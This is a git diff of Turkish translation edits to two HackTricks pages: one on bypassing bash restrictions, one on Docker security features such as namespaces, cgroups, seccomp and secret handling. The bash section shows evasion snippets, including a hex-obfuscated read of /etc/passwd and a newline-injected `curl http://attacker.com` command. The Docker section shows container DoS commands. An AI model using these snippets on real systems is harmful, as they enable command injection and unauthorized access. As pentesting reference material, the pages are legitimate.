-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. @@ -17,12 +17,12 @@ HackTricks'ı desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **otomatikleştirmeyi** kolayca oluşturun.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} -## Ortak Kısıtlamaları Atlatma +## Yaygın Kısıtlamaları Atlatma ### Ters Kabuk ```bash @@ -154,7 +154,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)` ```bash time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ``` -### Ortam Değişkenlerinden Karakter Alma +### Çevresel Değişkenlerden Karakter Alma ```bash echo ${LS_COLORS:10:1} #; echo ${PATH:0:1} #/ @@ -165,8 +165,8 @@ echo ${PATH:0:1} #/ ### Yerleşik Fonksiyonlar -Dış fonksiyonları yürütemiyorsanız ve yalnızca bir **sınırlı yerleşik fonksiyon kümesine erişiminiz varsa RCE elde etmek için**, bunu yapmanın bazı kullanışlı hileleri vardır. Genellikle **tüm** **yerleşikleri kullanamayacaksınız**, bu yüzden hapishaneden kaçmayı denemek için **tüm seçeneklerinizi bilmelisiniz**. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\ -Öncelikle tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz var**: +Dış fonksiyonları yürütemediğiniz ve yalnızca bir **sınırlı yerleşik fonksiyon kümesine erişiminiz olduğu durumlarda RCE elde etmek için bazı kullanışlı hileler bulunmaktadır. Genellikle **tüm** **yerleşikleri** kullanamayacaksınız, bu yüzden hapishaneden kaçmak için tüm seçeneklerinizi bilmelisiniz. Fikir [**devploit**](https://twitter.com/devploit)'ten alınmıştır.\ +İlk olarak tüm [**shell yerleşiklerini**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)** kontrol edin.** Sonra size bazı **tavsiyelerimiz** var: ```bash # Get list of builtins declare builtins @@ -228,6 +228,8 @@ if [ "a" ]; then echo 1; fi # Will print hello! # A regex that only allow letters and numbers might be vulnerable to new line characters 1%0a`curl http://attacker.com` ``` +### Bashfuscator + ### Bashfuscator ```bash # From https://github.com/Bashfuscator/Bashfuscator @@ -317,13 +319,13 @@ ln /f* ``` ## Salt-Okunur/Noexec/Distroless Atlatma -Eğer **salt-okunur ve noexec korumalarına** sahip bir dosya sistemi içinde veya hatta bir distroless konteynerindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır: +Eğer **salt-okunur ve noexec korumaları** olan bir dosya sistemi içinde veya hatta bir distroless konteyner içindeyseniz, hala **keyfi ikili dosyaları, hatta bir kabuğu çalıştırmanın yolları** vardır: {% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %} [bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/) {% endcontent-ref %} -## Chroot ve Diğer Hapishaneleri Atlatma +## Chroot ve Diğer Hapisaneler Atlatma {% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %} [escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md) @@ -339,21 +341,21 @@ Eğer **salt-okunur ve noexec korumalarına** sahip bir dosya sistemi içinde ve
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)'i kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
-Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) ile öğrenin! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın.**
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index c6b540a9c..d5d286147 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -2,13 +2,13 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana AWS hacklemeyi öğrenin! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! HackTricks'i desteklemenin diğer yolları: -- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +- **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! - [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -- [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz - **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. - **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. @@ -17,14 +17,14 @@ HackTricks'i desteklemenin diğer yolları:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **iş akışlarını otomatikleştiren** kolayca oluşturun.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} ## **Temel Docker Motoru Güvenliği** -**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** aracılığıyla ek koruma sağlanarak konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir. +**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir. ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -32,7 +32,7 @@ Bugün Erişim Alın: Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir. -Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin: +Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` adresinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart @@ -54,7 +54,7 @@ Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir ### Görüntü Tarama -Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak güvenlik açıklarını listeler bir proje üzerinde çalışmaktadır. Nautilus adlı bu proje, her Konteyner görüntü katmanını güvenlik açığı havuzundaki ile karşılaştırarak güvenlik açıklarını belirler. +Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapabilen ve güvenlik açıklarını listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzundaki ile karşılaştırarak güvenlik açıklarını belirler. Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/). @@ -92,13 +92,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özet bir açıklama: -- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. +- **Docker İçerik Güveni**, imaj imzalamayı yönetmek için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz. - Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır. -- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir; Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla detay [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir. +- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz. - İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır. -- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister. +- İlk imaj yükleme işleminden sonra imajları itmek için Docker, imajı imzalamak için depo anahtarının parolasını ister. -Özel anahtarlarınızı yedeklemek için şu komutu kullanın: +Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın: ```bash tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private ``` @@ -109,10 +109,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ +Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} ## Konteyner Güvenlik Özellikleri @@ -122,25 +122,25 @@ Bugün Erişim Alın: **Ana İşlem İzolasyon Özellikleri** -Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi için hayati önem taşır. İşte temel kavramların basitleştirilmiş bir açıklaması: +Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi açısından önemlidir. İşte temel kavramların basitleştirilmiş bir açıklaması: **Ad Alanları (Namespaces)** * **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır. -* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır ve ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller. -* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayar ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir. +* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya altta yatan sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller. +* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir. **Kontrol Grupları (CGroups)** -* **Fonksiyon**: İşlemler arasında kaynak tahsisi yapmak için kullanılır. -* **Güvenlik Yönü**: CGroups, kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. +* **Fonksiyon**: Kaynakları işlemler arasında tahsis etmek için kullanılır. +* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. **Yetenek Düşürme (Capability Drop)** -* **Önemi**: İşlem izolasyonu için kritik bir güvenlik özelliğidir. -* **İşlevsellik**: Belirli yetenekleri bırakarak kök işlemin gerçekleştirebileceği eylemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklerin eksikliği, ayrıcalıklı eylemleri gerçekleştirmesini engeller, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur. +* **Önem**: İşlem izolasyonu için kritik bir güvenlik özelliğidir. +* **İşlevsellik**: Belirli yetenekleri düşürerek kök işlemin gerçekleştirebileceği işlemleri kısıtlar. Bir işlem kök ayrıcalıklarıyla çalışsa bile, gerekli yeteneklere sahip olmaması nedeniyle ayrıcalıklı işlemleri gerçekleştiremez, çünkü sistem çağrıları yetersiz izinler nedeniyle başarısız olur. -Bu, işlem diğerlerini bıraktıktan sonra **kalan yeteneklerdir**: +Bu, işlem diğerlerini düşürdükten sonra **kalan yeteneklerdir**: {% code overflow="wrap" %} ``` @@ -150,7 +150,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca **Seccomp** -Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\ +Docker'da varsayılan olarak etkindir. İşlemi çağırabileceği **sistem çağrılarını daha da sınırlamaya yardımcı olur**.\ **Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir. **AppArmor** @@ -163,7 +163,7 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman ### Ad Alanları -**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler kümesi olmasına rağmen, bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir. +**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlendirir**, böylece bir **set işlem**, bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir. Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır: @@ -181,8 +181,8 @@ Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad A ### cgroups -Linux çekirdek özelliği **cgroups**, **cpu, bellek, io, ağ bant genişliği gibi kaynakları sınırlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\ -Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlayan bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. +Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteyner'lar oluşturmanıza izin verir.\ +Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payı 512, blkioweight 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner %33'e kadar CPU alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -200,7 +200,7 @@ Daha fazla bilgi için kontrol edin: ### Yetenekler -Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır. +Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince bir kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır. Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır: @@ -210,7 +210,7 @@ Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak ### Docker'da Seccomp -Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına olanak tanıyan bir güvenlik özelliğidir: +Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir: {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) @@ -218,7 +218,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sın ### Docker'da AppArmor -AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.: +AppArmor, konteynerleri sınırlı bir dizi kaynağa ve program başına profillere kısıtlamak için bir çekirdek geliştirmesidir.: {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -230,7 +230,7 @@ AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile * **Politika Uygulaması**: Bir işlem etiketinin sistem içinde diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. * **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi atarlar, genellikle `container_t`. * **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. -* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar. +* **Politika Kuralları**: SELinux politikası, öncelikle `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar. Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanan potansiyel hasarı önemli ölçüde sınırlar. @@ -240,12 +240,12 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılmış olsa ### AuthZ & AuthN -Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri izin verip engellemenin güvenlik açısından kritik bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir: +Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir: * **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi. -* **Komut Bağlamı**: Bu, yapılan isteğe ilişkin tüm ilgili verileri içerir. +* **Komut Bağlamı**: Yapılan isteğe ilişkin tüm ilgili verileri içerir. -Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gelen meşru isteklerin işlenmesini sağlayarak Docker işlemlerinin güvenliğini artırmaya yardımcı olur. +Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gelen meşru isteklerin işlenmesini sağlayarak Docker işlemlerinin güvenliğini artırır. {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -253,7 +253,7 @@ Bu bağlamlar, yalnızca kimlik doğrulaması yapılmış kullanıcılardan gele ## Bir konteynerden DoS -Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamıyorsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir. +Bir konteynerin kullanabileceği kaynakları doğru bir şekilde sınırlamazsanız, tehlikeye atılmış bir konteyner, çalıştığı ana bilgisayarı DoS edebilir. * CPU DoS ```bash @@ -281,7 +281,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr #### no-new-privileges -Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteynerin içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir. +Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir. Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**. ``` @@ -308,23 +308,23 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc ### Şifreleri Yönetme: En İyi Uygulamalar -Docker görüntülerine doğrudan şifre gömmek veya çevre değişkenleri kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır. +Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır. -**Docker birimleri** hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir. +**Docker birimleri**, hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala 